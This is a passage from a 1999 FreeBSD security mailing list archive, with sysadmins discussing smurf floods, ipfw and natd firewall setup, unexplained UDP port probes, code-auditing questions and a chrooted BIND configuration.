IRC servers experience this stuff all the time from script-kiddies battling for channels or nicks. -- Yours truly, Shaun D. Jurrens shaun@shamz.net IRCnick: shamz #chillout #unix To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 9 4:49: 4 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.powertech.no (intentia.powertech.no [195.159.0.220]) by hub.freebsd.org (Postfix) with ESMTP id 861FE14FB1 for ; Thu, 9 Dec 1999 04:49:01 -0800 (PST) (envelope-from shamz@login2.powertech.no) Received: from login2.powertech.no (IDENT:root@login2.powertech.no [195.159.0.152]) by mail.powertech.no (8.9.3/8.8.5) with ESMTP id NAA11455; Thu, 9 Dec 1999 13:48:20 +0100 Received: (from shamz@localhost) by login2.powertech.no (8.9.3/8.9.3) id NAA17275; Thu, 9 Dec 1999 13:48:58 +0100 Date: Thu, 9 Dec 1999 13:48:58 +0100 From: Shaun Jurrens To: Mark Newton Cc: freebsd-security@freebsd.org Subject: Re: What kind of attack is this? Message-ID: <19991209134858.D10267@shamz.net> Mail-Followup-To: Mark Newton , freebsd-security@freebsd.org References: <19991209124847.C10267@shamz.net> <19991209225414.A12037@atdot.dotat.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4us In-Reply-To: <19991209225414.A12037@atdot.dotat.org>; from Mark Newton on Thu, Dec 09, 1999 at 10:54:14PM +1030 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, Dec 09, 1999 at 10:54:14PM +1030, Mark Newton wrote: #> On Thu, Dec 09, 1999 at 12:48:47PM +0100, Shaun Jurrens wrote: #> #> > Just a note, I think you will find some useful preliminary work already done. #> > IIRC, Dag-Erling has written some code that he uses on his irc servers for #> > udp/smurf attacks. #> #> What, code to automatically smurf the kiddies who are stupid enough to #> get on IRC and talk about hacking? About time someone did that :-) #> #> - mark Well, for a start, the admins of the well-known sites that make the attacks so serious because of network misconfiguration (as well as their upstream providers) could receive tons of angry e-mail. The "amplifier" sites are easy to find for the script kiddies too. You can find more at: http://www.powertech.no/smurf -and a list of the biggest offenders (which I see has gotten better, I hope no FreeBSD natives can be found here )- http://www.netscan.org/lamers-r-us.html I hope I was of some help. -- Yours truly, Shaun D. Jurrens shaun@shamz.net IRCnick: shamz #chillout #unix To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 9 5:18:22 1999 Delivered-To: freebsd-security@freebsd.org Received: from fever.semiotek.com (H253.C225.tor.velocet.net [216.126.82.253]) by hub.freebsd.org (Postfix) with ESMTP id 3B2F815607 for ; Thu, 9 Dec 1999 05:18:20 -0800 (PST) (envelope-from jread@fever.semiotek.com) Received: (from jread@localhost) by fever.semiotek.com (8.9.3/8.9.3) id IAA93620; Thu, 9 Dec 1999 08:20:47 -0500 (EST) (envelope-from jread) Date: Thu, 9 Dec 1999 08:20:47 -0500 From: Justin Wells To: "Scott I. Remick" Cc: freebsd-security@FreeBSD.ORG Subject: Re: What kind of attack is this? Message-ID: <19991209082046.A93512@semiotek.com> References: <4.2.2.19991208162315.00b5f4e0@mail.computeralt.com> <4.2.2.19991208173403.00be7790@mail.computeralt.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: <4.2.2.19991208173403.00be7790@mail.computeralt.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, Dec 08, 1999 at 05:46:17PM -0500, Scott I. Remick wrote: > >Yes, definately block everything except what's needed. And then question > >yourself and others on what really is needed. > > Which is what I'd like to do, but what I like to do and what needs to be > done here are seldom the same thing. I will push for a closed-firewall but > it'll probably end up being open by default when it goes up. You know... it sounds like the people who you have to deal with don't really understand what they're talking about. If I were you I would run trafshow on the network, get a list of all the packets that anyone ever sends, and use that to build a closed firewall that allows everything people already do. I would put that up, and then I would say to my boss "Yeah I put up a firewall that allows everything, except the bad stuff", and if anyone EVER notices that anything is blocked, say "Oh, looks like a bug in the firewall, I'll fix that straight away". Of course my definition of "bad stuff" would be anything that anyone isn't currently doing, but you don't have to tell anyone that :-) If mostly "use the internet" means internal people have to have access to everything on the outside world you can set a firewall rule that allows all outgoing connections, and only blocks incoming ones. Blocking UDP is tough though. The main thing is to make sure you don't let the UDP packets from the outside world hit anything dangerous like the NFS and X ports. Justin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 9 5:42:33 1999 Delivered-To: freebsd-security@freebsd.org Received: from atdot.dotat.org (atdot.dotat.org [150.101.89.3]) by hub.freebsd.org (Postfix) with ESMTP id 3B618150C9 for ; Thu, 9 Dec 1999 05:42:27 -0800 (PST) (envelope-from newton@atdot.dotat.org) Received: (from newton@localhost) by atdot.dotat.org (8.9.3/8.7) id AAA12483; Fri, 10 Dec 1999 00:08:16 +1030 (CST) Date: Fri, 10 Dec 1999 00:08:16 +1030 From: Mark Newton To: Justin Wells Cc: "Scott I. Remick" , freebsd-security@FreeBSD.ORG Subject: Re: What kind of attack is this? Message-ID: <19991210000816.A12440@atdot.dotat.org> References: <4.2.2.19991208162315.00b5f4e0@mail.computeralt.com> <4.2.2.19991208173403.00be7790@mail.computeralt.com> <19991209082046.A93512@semiotek.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <19991209082046.A93512@semiotek.com>; from jread@semiotek.com on Thu, Dec 09, 1999 at 08:20:47AM -0500 X-PGP-Key: http://slash.dotat.org/~newton/pgpkey.txt Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, Dec 09, 1999 at 08:20:47AM -0500, Justin Wells wrote: > You know... it sounds like the people who you have to deal with don't > really understand what they're talking about. If I were you I would run > trafshow on the network, Hmm, I dunno -- I my experience, the best course of action to take when you're dealing with management who don't really understand what they're talking about is to run like hell until you find some management who *does* know what they're talking about. It isn't that hard, there's a global skills shortage at the moment, so people who know what they're doing can probably consider themselves to be in a "target rich environment". :-) > get a list of all the packets that anyone > ever sends, and use that to build a closed firewall that allows > everything people already do. I would put that up, and then I would > say to my boss "Yeah I put up a firewall that allows everything, except > the bad stuff", and if anyone EVER notices that anything is blocked, say > "Oh, looks like a bug in the firewall, I'll fix that straight away". Politics: if you call it a bug, dumbass management will eventually say, "Uh, that firewall has a history of bugs, let's replace it with an NT box, 'cos that nice guy in a suit says NT doesn't have any bugs..." It's probably better to say that some aspect of the functionality of whatever failed depended on something that had previously been blocked, but you can put in a workaround because the firewall you're using is so amazingly flexible :-) Ah, they'll make a consultant out of me yet... - mark -------------------------------------------------------------------- I tried an internal modem, newton@atdot.dotat.org but it hurt when I walked. Mark Newton ----- Voice: +61-4-1620-2223 ------------- Fax: +61-8-82231777 ----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 9 8:50:49 1999 Delivered-To: freebsd-security@freebsd.org Received: from server.computeralt.com (server.computeralt.com [207.41.29.10]) by hub.freebsd.org (Postfix) with ESMTP id B945C15653 for ; Thu, 9 Dec 1999 08:50:11 -0800 (PST) (envelope-from scott@computeralt.com) Received: from scott (scott.computeralt.com [207.41.29.100]) by server.computeralt.com (8.9.3/8.9.1) with ESMTP id LAA17873 for ; Thu, 9 Dec 1999 11:50:03 -0500 (EST) Message-Id: <4.2.2.19991209114532.00c075a0@mail.computeralt.com> X-Sender: scott@mail.computeralt.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 09 Dec 1999 11:50:03 -0500 To: freebsd-security@FreeBSD.ORG From: "Scott I. Remick" Subject: Port 3593 (was "What kind of attack is this?") In-Reply-To: <4.2.2.19991208173403.00be7790@mail.computeralt.com> References: <4.2.2.19991208162315.00b5f4e0@mail.computeralt.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Latest info: The attack has died down, but I'm still seeing the occasional incoming UDP packet destined for port 3593 from what appear to still be spoofed source IPs. Unlike before, these packets aren't triggering any sort of response from the system, so whatever it's looking for isn't there. I can't seem to find any info on services that would run on port 3593 except this one other guy asking the same question: Anyone know anything about this port? ----------------------- Scott I. Remick scott@computeralt.com Network and Information (802)388-7545 ext. 236 Systems Manager FAX:(802)388-3697 Computer Alternatives, Inc. http://www.computeralt.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 9 11:26:23 1999 Delivered-To: freebsd-security@freebsd.org Received: from hotmail.com (f107.law4.hotmail.com [216.33.149.107]) by hub.freebsd.org (Postfix) with SMTP id 104BA15695 for ; Thu, 9 Dec 1999 11:26:19 -0800 (PST) (envelope-from binkieboi@hotmail.com) Received: (qmail 44423 invoked by uid 0); 9 Dec 1999 19:26:16 -0000 Message-ID: <19991209192616.44422.qmail@hotmail.com> Received: from 12.10.140.2 by www.hotmail.com with HTTP; Thu, 09 Dec 1999 11:26:16 PST X-Originating-IP: [12.10.140.2] From: "Adidas Boy" To: freebsd-security@FreeBSD.ORG Subject: Firewall using FreeBSD 3.3 Date: Thu, 09 Dec 1999 12:26:16 MST Mime-Version: 1.0 Content-Type: text/plain; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Dear FreeBSD Security, I have a FreeBSD 3.3 Box that I have installed and I'm trying to get a rather secure firewall up to help prevent against basic attacks to our system. I have did some research and have installed tcpd to only allow certain hosts, and disabled services that I don't need to use. What I want to happen is I'm going to have the Firewall which has 2 ethernet cards one configured for the real internet of 205.1.1.x and then the fake network of 10.0.0.x. I am going to put several web servers and e-mail servers behind the firewall and then hoping that I can have all the trafic route thru the firewall to help prevent direct attacks to the servers behind the firewall. I'm assuming i could somehow use natd and set some kind of static table that would be as follows: real inet ip fake ip behind firewall 205.1.1.1 -> 10.0.0.1 205.1.1.2 -> 10.0.0.2 how would i configure natd to do this static routing. 205.1.1.1, 205.1.1.2 would all be answered by the firewall. then i would assume i would have to use ipfw to make the firewall more tighter by only allowing certain connections on certain ports to certain machines. so say for instance on machine 205.1.1.2 which was also 10.0.0.2 i wanted users to only be able to connect to port 80 what should my ipfw configuration look like? then i would need to have like 205.1.1.3 only have port 25 and 110 available? any help would be greatly appreciated. I need your help please! please e-mail directly back to me. brian ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 9 12: 7:16 1999 Delivered-To: freebsd-security@freebsd.org Received: from ints.ru (ints.ru [194.67.173.1]) by hub.freebsd.org (Postfix) with ESMTP id 1D239156B0; Thu, 9 Dec 1999 12:07:11 -0800 (PST) (envelope-from ilmar@ints.ru) Received: (from uucp@localhost) by ints.ru (8.9.2/8.9.2) id XAA28693; Thu, 9 Dec 1999 23:07:04 +0300 (MSK) Received: from ws-ilmar.ints.ru(194.67.173.16) via SMTP by ints.ru, id smtpdV28691; Thu Dec 9 23:07:03 1999 Received: from localhost (localhost [127.0.0.1]) by ws-ilmar.ints.ru (8.9.3/8.9.3) with ESMTP id XAA00600; Thu, 9 Dec 1999 23:07:02 +0300 (MSK) Date: Thu, 9 Dec 1999 23:07:02 +0300 (MSK) From: "Ilmar S. Habibulin" To: freebsd-audit@FreeBSD.ORG Cc: freebsd-security@FreeBSD.ORG Subject: question to auditors In-Reply-To: <84714733.944601517508.JavaMail.chenresig@karma> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I'm wondering what do you guys search in the sources. I know that there are some functions like gets(), which don't check bounds of arrays, and possible problems with setuid/setgid bits. So i have some questions like: - what is the full list of risky functions - what else could be a treat to security, integrety or functionality of some application - or where can i find full answers to my maybe stupid questions Thanx. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 9 13:13:19 1999 Delivered-To: freebsd-security@freebsd.org Received: from kronos.alcnet.com (kronos.alcnet.com [63.69.28.22]) by hub.freebsd.org (Postfix) with ESMTP id 7752215682; Thu, 9 Dec 1999 13:13:08 -0800 (PST) (envelope-from kbyanc@posi.net) X-Provider: ALC Communications, Inc. http://www.alcnet.com/ Received: from localhost (kbyanc@localhost) by kronos.alcnet.com (8.9.3/8.9.3/antispam) with ESMTP id QAA23898; Thu, 9 Dec 1999 16:13:03 -0500 (EST) Date: Thu, 9 Dec 1999 16:13:03 -0500 (EST) From: Kelly Yancey X-Sender: kbyanc@kronos.alcnet.com To: "Ilmar S. Habibulin" Cc: freebsd-audit@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: question to auditors In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 9 Dec 1999, Ilmar S. Habibulin wrote: > > I'm wondering what do you guys search in the sources. I know that there > are some functions like gets(), which don't check bounds of arrays, and > possible problems with setuid/setgid bits. So i have some questions like: > > - what is the full list of risky functions > - what else could be a treat to security, integrety or functionality of > some application > - or where can i find full answers to my maybe stupid questions > Well, I'm working on a web site where such information will be located (along with the audit progress itself). Unfortunately, the holidays are slowing development :( Kelly -- Kelly Yancey - kbyanc@posi.net - Richmond, VA Director of Technical Services, ALC Communications http://www.alcnet.com/ Maintainer, BSD Driver Database http://www.posi.net/freebsd/drivers/ Coordinator, Team FreeBSD http://www.posi.net/freebsd/Team-FreeBSD/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 9 13:51:34 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail001.mediacity.com (mail001.mediacity.com [205.216.172.9]) by hub.freebsd.org (Postfix) with SMTP id 063C915242 for ; Thu, 9 Dec 1999 13:51:31 -0800 (PST) (envelope-from spock@techfour.net) Received: (qmail 6627 invoked from network); 9 Dec 1999 21:51:29 -0000 Received: from cm-208-138-198-17.fredericksburg.mg.ispchannel.com (HELO enterprise.muriel.penguinpowered.com) (208.138.198.17) by mail001.mediacity.com with SMTP; 9 Dec 1999 21:51:29 -0000 Content-Length: 794 Message-ID: X-Mailer: XFMail 1.3.1 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: X-SENDERNAME: `Mike Heffner` Date: Thu, 09 Dec 1999 16:51:53 -0500 (EST) From: Mike Heffner To: "Ilmar S. Habibulin" Subject: RE: question to auditors Cc: freebsd-security@FreeBSD.ORG, freebsd-audit@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 09-Dec-99 Ilmar S. Habibulin said: | | I'm wondering what do you guys search in the sources. I know that there | are some functions like gets(), which don't check bounds of arrays, and | possible problems with setuid/setgid bits. So i have some questions like: | | - what is the full list of risky functions | - what else could be a treat to security, integrety or functionality of | some application | - or where can i find full answers to my maybe stupid questions | There's a short list of some trouble spots at: http://www.freebsd.org/security/ as well as other links to security related sites. --------------------------------- Mike Heffner Fredericksburg, VA ICQ# 882073 Date: 09-Dec-99 Time: 16:50:04 --------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 9 17:33:31 1999 Delivered-To: freebsd-security@freebsd.org Received: from relay.securify.com (relay.securify.com [207.5.63.61]) by hub.freebsd.org (Postfix) with SMTP id 064F815721 for ; Thu, 9 Dec 1999 17:33:20 -0800 (PST) (envelope-from tomb@cgf.net) Received: by relay.securify.com; id RAA15447; Thu, 9 Dec 1999 17:32:18 -0800 Received: from unknown(10.5.63.100) by relay.securify.com via smap (V5.5) id xma015424; Thu, 9 Dec 99 17:31:55 -0800 Message-ID: <3850580A.5EDA9ABD@cgf.net> Date: Thu, 09 Dec 1999 17:31:54 -0800 From: tomb X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Adidas Boy Cc: freebsd-security@FreeBSD.ORG Subject: Re: Firewall using FreeBSD 3.3 References: <19991209192616.44422.qmail@hotmail.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Adidas Boy wrote: > > Dear FreeBSD Security, > > I have a FreeBSD 3.3 Box that I have installed and I'm trying to > get a rather secure firewall up to help prevent against basic > attacks to our system. I have did some research and have installed > tcpd to only allow certain hosts, and disabled services that I don't > need to use. > > What I want to happen is I'm going to have the Firewall which has 2 ethernet I err on the side of caution and go for total layer 1 isolation, i.e have 3 NIC's. It also makes the rule building easier. > cards one configured for the real internet of 205.1.1.x and then the fake > network of 10.0.0.x. I am going to put several web > servers and e-mail servers behind the firewall and then hoping > that I can have all the trafic route thru the firewall to help prevent > direct attacks to the servers behind the firewall. I'm assuming i could > somehow use natd and set some kind of static table that would be as follows: > > real inet ip fake ip behind firewall > 205.1.1.1 -> 10.0.0.1 > 205.1.1.2 -> 10.0.0.2 Or better still bind an smtp proxy to the interface to which your rules are diverting the mail traffic. For the web servers I'd go for a pure divert and armor the web boxes (idealy ssh in, web in, and filters that deny everything else). Hopefully you are running apache, which is as tough as old boots, which means that you can avoid having a proxy in the way. (There is an inherent performance penalty associated with any proxy.) > > how would i configure natd to do this static routing. 205.1.1.1, 205.1.1.2 > would all be answered by the firewall. I'm not 100% certain but I'd bind natd to the inside interface for the use of the 'soft and chewy' heart of your network (if you have one). As for the smtp and pop proxy's shop around and see what's available. I use the stuff from the TIS firewall toolkit, but it's a bit on the 'hard-core' side to install. > > then i would assume i would have to use ipfw to make the firewall more > tighter by only allowing certain connections on certain ports to certain > machines. so say for instance on machine 205.1.1.2 which was also 10.0.0.2 i > wanted users to only be able to connect to port 80 what should my ipfw > configuration look like? then i would need to have like 205.1.1.3 only have > port 25 and 110 available? > Sound like a plan. The rule building can take a while, and once you've finished don't forget to nmap the firewall from the outside. > any help would be greatly appreciated. > > I need your help please! please e-mail directly back to me. > > brian > > ______________________________________________________ > Get Your Private, Free Email at http://www.hotmail.com > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > ________________________________________________________________________________ > This message has been checked for all known viruses by the Star Screening System > http://academy.star.co.uk/public/virustats.htm -- Tom Brown --------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 9 22:56:49 1999 Delivered-To: freebsd-security@freebsd.org Received: from delta.fsb.ru (delta.fsb.ru [213.24.76.5]) by hub.freebsd.org (Postfix) with ESMTP id 219A2153BC for ; Thu, 9 Dec 1999 22:56:40 -0800 (PST) (envelope-from admin@fsb.ru) Received: from admin (admin.fsb.ru [213.24.77.11]) by delta.fsb.ru (8.9.3/8.9.3) with SMTP id JAA08342 for ; Fri, 10 Dec 1999 09:55:55 +0300 (MSK) (envelope-from admin@fsb.ru) Reply-To: From: "Olexa N. Holushco" To: Subject: Help needed Date: Fri, 10 Dec 1999 09:57:33 +0300 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Dear collegues! I bag you pardon for bringing up a question that seems to have nothing to do with the main subject of the conference, but that is of great concern to us. Could anybody tell me if where is driver for Eicon S51/S50 WAN card for FreeBSD v3.3 ? Regards, admin@fsb.ru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 9 23: 8: 2 1999 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 6DDD41537E for ; Thu, 9 Dec 1999 23:08:00 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id XAA12178; Thu, 9 Dec 1999 23:07:31 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id XAA10219; Thu, 9 Dec 1999 23:07:30 -0800 Received: from softweyr.com ([204.68.178.39]) by omni.xylan.com (4.1/SMI-4.1 (xylan engr [SPOOL])) id AA22512; Thu, 9 Dec 99 23:07:24 PST Message-Id: <3850A6DC.D5C3E689@softweyr.com> Date: Fri, 10 Dec 1999 00:08:12 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.61 [en] (X11; I; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en Mime-Version: 1.0 To: admin@fsb.ru Cc: freebsd-security@FreeBSD.ORG Subject: Re: Help needed References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "Olexa N. Holushco" wrote: > > Dear collegues! > > I bag you pardon for bringing up a question > that seems to have nothing to do with the main > subject of the conference, but that is of great > concern to us. > > Could anybody tell me if where is driver for > Eicon S51/S50 WAN card for FreeBSD v3.3 ? Your best bet would be to search the FreeBSD archives on the web, at http://www.freebsd.org/search/ or, failing any luck there, to as freebsd-net@freebsd.org. This is not a security matter, as you note. Best of luck in your search. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 10 11: 3:17 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.webct.com (mail.webct.com [209.87.17.10]) by hub.freebsd.org (Postfix) with ESMTP id 1070115972 for ; Fri, 10 Dec 1999 11:03:00 -0800 (PST) (envelope-from dfoo@ca.webct.com) Received: from ca.webct.com (ws74.webct.com [209.87.17.104]) by mail.webct.com (8.9.3/8.9.3) with ESMTP id LAA32923 for ; Fri, 10 Dec 1999 11:02:55 -0800 (PST) Message-ID: <38514E5F.4C1775C7@ca.webct.com> Date: Fri, 10 Dec 1999 11:02:55 -0800 From: Darren Foo Reply-To: dfoo@webct.com Organization: WebCT Canada X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: "'freebsd-security@FreeBSD.ORG'" Subject: Jailing BIND, named-xfer problems Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I recently upgraded and chrooted bind. Unfortunately, my secondary DNS server won't update from my primary because it can't run named-xfer. It either gives me a "permission denied" or "can't find file" error message. I've tried changing the options named-xfer in named.conf but it still doesn't work. I compiled bind with static libraries and changed the permissions and ownership on named-xfer to no avail. -- Darren Foo To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 10 11:53:54 1999 Delivered-To: freebsd-security@freebsd.org Received: from cx47987-b.escnd1.sdca.home.com (cx47987-b.escnd1.sdca.home.com [24.0.175.250]) by hub.freebsd.org (Postfix) with ESMTP id 52EAF157EC for ; Fri, 10 Dec 1999 11:50:33 -0800 (PST) (envelope-from lomion@cx47987-b.escnd1.sdca.home.com) Received: from cx47987-c ([24.0.175.251]) by cx47987-b.escnd1.sdca.home.com (8.9.3/8.9.3) with ESMTP id LAA04293 for ; Fri, 10 Dec 1999 11:49:52 -0800 (PST) (envelope-from lomion@cx47987-b.escnd1.sdca.home.com) Message-Id: <4.2.2.19991210113307.00b426b0@mail.anais-nin.org> X-Sender: lomion@mail.anais-nin.org X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 10 Dec 1999 11:36:04 -0800 To: freebsd-security@freebsd.org From: Lomion Subject: port 5632 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Everyone, I seem to recall mention of this port in a recent thread but can't find the reference. Reason I'm asking is that I noticed a few attempts to connect to this port via udp. Nothing in /etc/services mentions this particular port. No harm was done sine I'm not running anythin but I also noticed attempts to connect via ssh as well. I've block udp from external sources anyway so I'm not worried on that front but I was wondering what it is. Thanks, --lomion To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 10 12:16: 3 1999 Delivered-To: freebsd-security@freebsd.org Received: from vinyl.sentex.ca (vinyl.sentex.ca [209.112.4.14]) by hub.freebsd.org (Postfix) with ESMTP id 85F4E157F7 for ; Fri, 10 Dec 1999 12:03:51 -0800 (PST) (envelope-from mike@sentex.net) Received: from simoeon (simeon.sentex.ca [209.112.4.47]) by vinyl.sentex.ca (8.9.3/8.9.3) with SMTP id PAA30182; Fri, 10 Dec 1999 15:03:41 -0500 (EST) (envelope-from mike@sentex.net) Message-Id: <3.0.5.32.19991210150235.01516100@staff.sentex.ca> X-Sender: mdtpop@staff.sentex.ca X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Fri, 10 Dec 1999 15:02:35 -0500 To: dfoo@webct.com, freebsd-security@FreeBSD.ORG From: Mike Tancsa Subject: Re: Jailing BIND, named-xfer problems In-Reply-To: <38514E5F.4C1775C7@ca.webct.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 11:02 AM 12/10/99 -0800, Darren Foo wrote: > I recently upgraded and chrooted bind. Unfortunately, my secondary DNS >server won't update from my primary because it can't run named-xfer. It >either gives me a "permission denied" or "can't find file" error >message. I've tried changing the options named-xfer in named.conf but it >still doesn't work. I compiled bind with static libraries and changed >the permissions and ownership on named-xfer to no avail. Where is it trying to write the bk. files to ? That directory must be writeable by the bind UID. Also, did you specify the path to named-xfer ? For example, // the directory /etc/namedb/s is owned by the UID:GID bind:bind // so bind can write to it options { directory "/etc/namedb"; named-xfer "/usr/local/libexec/named-xfer"; // _PATH_XFER pid-file "/etc/namedb/s/named.pid"; // _PATH_PIDFILE forward only; dump-file "s/named_dump.db"; }; // note the bk. file is written to the directory s zone "myexample.ca" { type slave; file "s/bk.myexample.ca";masters {192.168.1.1;};}; ---Mike ------------------------------------------------------------------------ Mike Tancsa, tel +1 519 651 3400 Network Administrator, mike@sentex.net Sentex Communications www.sentex.net Cambridge, Ontario Canada To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 10 12:51:34 1999 Delivered-To: freebsd-security@freebsd.org Received: from mailhost.onramp.net (mailhost.onramp.net [199.1.11.3]) by hub.freebsd.org (Postfix) with ESMTP id BCDB115C49 for ; Fri, 10 Dec 1999 12:44:49 -0800 (PST) (envelope-from jsigler@verio.net) Received: from verio.net (A203-30.PPP.FTWO.TX.VERIO.NET [199.1.145.30]) by mailhost.onramp.net (8.9.3/8.9.3) with ESMTP id OAA18960; Fri, 10 Dec 1999 14:44:35 -0600 (CST) Message-ID: <38516625.BFA8454C@verio.net> Date: Fri, 10 Dec 1999 14:44:21 -0600 From: "J. A. Sigler" X-Mailer: Mozilla 4.6 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: Lomion , freebsd-security@freebsd.org Subject: Re: port 5632 References: <4.2.2.19991210113307.00b426b0@mail.anais-nin.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Lomion wrote: > Everyone, > > I seem to recall mention of this port in a recent thread but can't find the > reference. Reason I'm asking is that I noticed a few attempts to connect > to this port via udp. Nothing in /etc/services mentions this particular > port. No harm was done sine I'm not running anythin but I also noticed > attempts to connect via ssh as well. > > I've block udp from external sources anyway so I'm not worried on that > front but I was wondering what it is. > > Thanks, > > --lomion > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message PCAnywhere uses 5632 I seem to recall. -- Jon Sigler jsigler@verio.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 10 13:33:42 1999 Delivered-To: freebsd-security@freebsd.org Received: from inago.swcp.com (inago.swcp.com [198.59.115.17]) by hub.freebsd.org (Postfix) with ESMTP id E252C15175 for ; Fri, 10 Dec 1999 13:33:39 -0800 (PST) (envelope-from synk@swcp.com) Received: (from synk@localhost) by inago.swcp.com (8.8.7/8.8.7) id OAA17684 for freebsd-security@FreeBSD.ORG; Fri, 10 Dec 1999 14:33:37 -0700 (MST) Date: Fri, 10 Dec 1999 14:33:37 -0700 (MST) From: Brendan Conoboy Message-Id: 